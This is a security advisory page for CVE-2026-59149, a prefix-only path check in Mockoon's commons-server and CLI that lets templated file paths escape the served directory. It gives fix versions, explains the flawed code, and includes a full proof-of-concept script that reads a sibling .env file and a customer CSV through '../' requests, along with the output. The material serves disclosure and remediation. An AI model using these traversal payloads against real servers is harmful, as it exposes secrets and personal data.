CVE-2026-59149: @Mockoon/commons-server Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-8wqc-v2q8-vff2
CVSS 6.5
CWE-23 CWE-22
Published
Advisory Summary

CVE-2026-59149 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting @Mockoon/commons-server libraries in the npm ecosystem. The issue involves path traversal in templated `filepath` lets a request escape the served directory (prefix-only base check). Remediation is available by upgrading affected packages to version 9.7.0.

CVE-2026-59149 at a Glance

CVE Identifier CVE-2026-59149
GHSA Identifier GHSA-8wqc-v2q8-vff2
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-23: Relative Path Traversal
Affected Product @Mockoon/commons-server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-59149

To remediate this vulnerability, upgrade all affected @Mockoon/commons-server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@mockoon/commons-server fixed: 9.7.0
npm install @mockoon/commons-server@9.7.0
@mockoon/cli fixed: 9.7.0
npm install @mockoon/cli@9.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @mockoon/commons-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59149, inspect your project dependencies using npm:

npm ls @mockoon/commons-server

Analyze the terminal output to locate any version of @Mockoon/commons-server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.7.0), your application is affected.

Note: The npm ls @mockoon/commons-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In @Mockoon/commons-server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`

CVE-2026-59149 Affected @Mockoon/commons-server Versions

2 component(s)
Fixed Versions:
9.7.0
Product / Package Ecosystem Affected Versions Fixed Version
@mockoon/commons-server
npm
< 9.7.0
9.7.0
@mockoon/cli
npm
< 9.7.0
9.7.0

References

Frequently Asked Questions

What is CVE-2026-59149?
CVE-2026-59149 is a security vulnerability in @Mockoon/commons-server involving Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check) under CWE-23: Relative Path Traversal.
Which @Mockoon/commons-server versions are affected?
Affected versions include releases prior to 9.7.0 across affected packages: @mockoon/commons-server, @mockoon/cli.
What version fixes CVE-2026-59149?
Upgrading to 9.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @mockoon/commons-server affected?
Yes, @mockoon/commons-server is affected in releases prior to 9.7.0. Upgrade your dependency to 9.7.0 or later.
Is @mockoon/cli affected?
Yes, @mockoon/cli is affected in releases prior to 9.7.0. Upgrade your dependency to 9.7.0 or later.
What is the CVSS score of CVE-2026-59149?
CVE-2026-59149 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-59149?
CVE-2026-59149 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for CVE-2026-59149?
Run the dependency tree command: 'npm ls @mockoon/commons-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8wqc-v2q8-vff2",
  "modified" : "2026-09-11T22:04:32Z",
  "published" : "2026-09-11T22:04:32Z",
  "aliases" : [ "CVE-2026-59149" ],
  "summary" : "@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)",
  "details" : "## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam 'name'}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam 'name'}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat > /tmp/poc.sh <<'POC'\nset -e\nmkdir -p /work/public /work/public_backup && cd /work\necho 'public landing page' > public/index.txt\necho 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env\necho 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv\ncat > env.json <<'JSON'\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam 'name'}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1\nmockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &\nsleep 6\nnode -e '\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=>{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=>{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -> ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -> ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();'\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mockoon/commons-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.6.1"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mockoon/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59149"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/pull/2255"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mockoon/mockoon"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
  }, {
    "type" : "WEB",
    "url" : "https://mockoon.com/releases/9.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T22:04:32Z",
    "nvd_published_at" : "2026-07-09T19:17:07Z"
  }
}